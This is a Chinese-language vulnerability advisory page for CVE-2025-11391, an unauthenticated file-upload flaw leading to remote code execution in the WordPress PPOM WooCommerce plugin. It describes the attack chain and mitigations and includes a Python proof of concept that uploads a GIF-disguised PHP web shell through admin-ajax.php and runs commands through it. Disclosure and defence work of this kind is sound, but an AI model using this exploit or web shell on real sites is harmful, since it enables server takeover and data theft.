IPBUF安全漏洞报告
English
CVE-2025-11391 CVSS 9.8 严重

CVE-2025-11391:WordPress PPOM插件任意文件上传导致远程代码执行漏洞

披露日期: 2025-10-18

漏洞信息

漏洞编号
CVE-2025-11391
漏洞类型
任意文件上传/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PPOM – Product Addons & Custom Fields for WooCommerce(WordPress插件)

相关标签

CVE-2025-11391WordPressWooCommercePPOM任意文件上传远程代码执行RCE未认证漏洞严重漏洞WordPress插件安全

漏洞概述

CVE-2025-11391是WordPress平台上一款广受欢迎的WooCommerce产品附加组件插件PPOM(Product Addons & Custom Fields for WooCommerce)中存在的一个高危安全漏洞。该漏洞的CVSS评分高达9.8分,属于严重级别,允许未经认证的远程攻击者在受影响的网站服务器上上传任意文件,进而可能导致远程代码执行(RCE)。

该漏洞的根本原因在于插件的图像裁剪(image cropper)功能中缺少对上传文件类型的有效验证。攻击者可以利用这一缺陷绕过安全检查,将恶意文件(如Web Shell)上传到目标服务器。由于该漏洞无需任何认证(PR:N)、无需用户交互(UI:N)且可通过网络远程利用(AV:N),其威胁程度极高。一旦攻击成功,攻击者可以完全控制受影响的WordPress网站服务器,获取敏感数据、植入后门、进行横向移动,甚至将服务器纳入僵尸网络进行进一步攻击。

值得注意的是,虽然存在漏洞的代码位于免费版本中,但该漏洞仅影响已安装并激活了付费版本PPOM插件的网站。该漏洞由WordPress安全公司Wordfence的安全研究员发现,并于2025年10月18日公开披露。鉴于该漏洞的严重性和利用门槛极低,强烈建议所有使用受影响版本PPOM插件的网站管理员立即采取行动进行修复。

技术细节

该漏洞存在于PPOM插件的图像裁剪功能中,具体位于插件的inc/hooks.php文件中。PPOM插件允许WooCommerce店主为其产品添加自定义字段和附加组件,其中包含一个图像裁剪功能,允许用户上传和裁剪产品图片。

在正常情况下,服务器端应当对上传的文件进行严格的类型验证,包括检查文件扩展名、MIME类型以及文件内容(魔术字节),以确保只接受合法的图像文件。然而,在受影响版本(<= 33.0.15)中,图像裁剪功能在处理用户上传的文件时,缺少对文件类型的充分验证。攻击者可以通过以下方式利用此漏洞:

1. 攻击者构造一个包含恶意PHP代码的文件,将其伪装成图像文件(例如通过修改Content-Type头或添加图像文件的魔术字节)。
2. 攻击者通过PPOM插件的图像裁剪功能上传该恶意文件。由于缺少文件类型验证,服务器接受并保存该文件。
3. 攻击者通过浏览器或其他工具访问上传的恶意文件,由于该文件被保存在Web可访问目录中,Web服务器将解析并执行其中的PHP代码。
4. 攻击者获得远程代码执行能力,可以执行任意系统命令、读取敏感文件或完全控制服务器。

该漏洞的利用过程无需任何认证凭据,攻击者只需向目标网站的PPOM插件图像上传端点发送特制的HTTP请求即可完成攻击。

攻击链分析

STEP 1
步骤1:信息收集
攻击者使用自动化工具(如WPScan)扫描目标WordPress网站,识别是否安装了PPOM插件及其版本号。
STEP 2
步骤2:构造恶意文件
攻击者创建一个包含PHP Web Shell代码的文件,并添加合法的图像文件头(如GIF89a)以绕过基本的文件类型检查。
STEP 3
步骤3:上传恶意文件
攻击者通过PPOM插件的图像裁剪功能上传端点(无需认证)上传构造的恶意文件,利用缺少文件类型验证的漏洞。
STEP 4
步骤4:执行恶意代码
攻击者通过浏览器或命令行工具访问已上传的恶意文件,Web服务器解析并执行其中的PHP代码,攻击者获得远程代码执行能力。
STEP 5
步骤5:服务器控制
攻击者利用获得的代码执行权限,执行系统命令、读取敏感数据、植入持久化后门或进行横向移动攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11391 PoC - PPOM Plugin Arbitrary File Upload # This PoC demonstrates the arbitrary file upload vulnerability in PPOM plugin's image cropper functionality import requests TARGET_URL = "http://target-wordpress-site.com" SHELL_CONTENT = b"GIF89a;\n<?php system($_GET['cmd']); ?>" # Step 1: Create a malicious file disguised as a GIF image # The GIF89a header helps bypass basic file type checks malicious_file = ( b"GIF89a\x01\x00\x01\x00\x00\x00\x00;\n" # GIF header b"<?php echo 'VULNERABLE'; system($_GET['cmd']); ?>" ) # Step 2: Upload the malicious file via PPOM image cropper endpoint # The endpoint is typically accessible without authentication upload_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" payload = { "action": "ppom_upload_image", "ppom_product_id": "1", } files = { "ppom_file": ("shell.php", malicious_file, "image/gif") } # Step 3: Send the upload request response = requests.post(upload_url, data=payload, files=files) print(f"Upload response: {response.status_code}") print(f"Response body: {response.text}") # Step 4: Access the uploaded shell to execute commands # The file is typically saved in /wp-content/uploads/ppom/ shell_url = f"{TARGET_URL}/wp-content/uploads/ppom/shell.php?cmd=id" response = requests.get(shell_url) print(f"Shell execution result: {response.text}")

影响范围

woocommerce-product-addon (PPOM) <= 33.0.15

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过WAF规则限制对PPOM插件上传端点(admin-ajax.php中的ppom_upload_image动作)的访问;2)在wp-content/uploads/ppom/目录的.htaccess文件中添加规则,禁止执行PHP文件;3)限制对上传目录的访问权限,仅允许授权用户访问;4)监控网站日志,及时发现和阻止可疑的上传请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表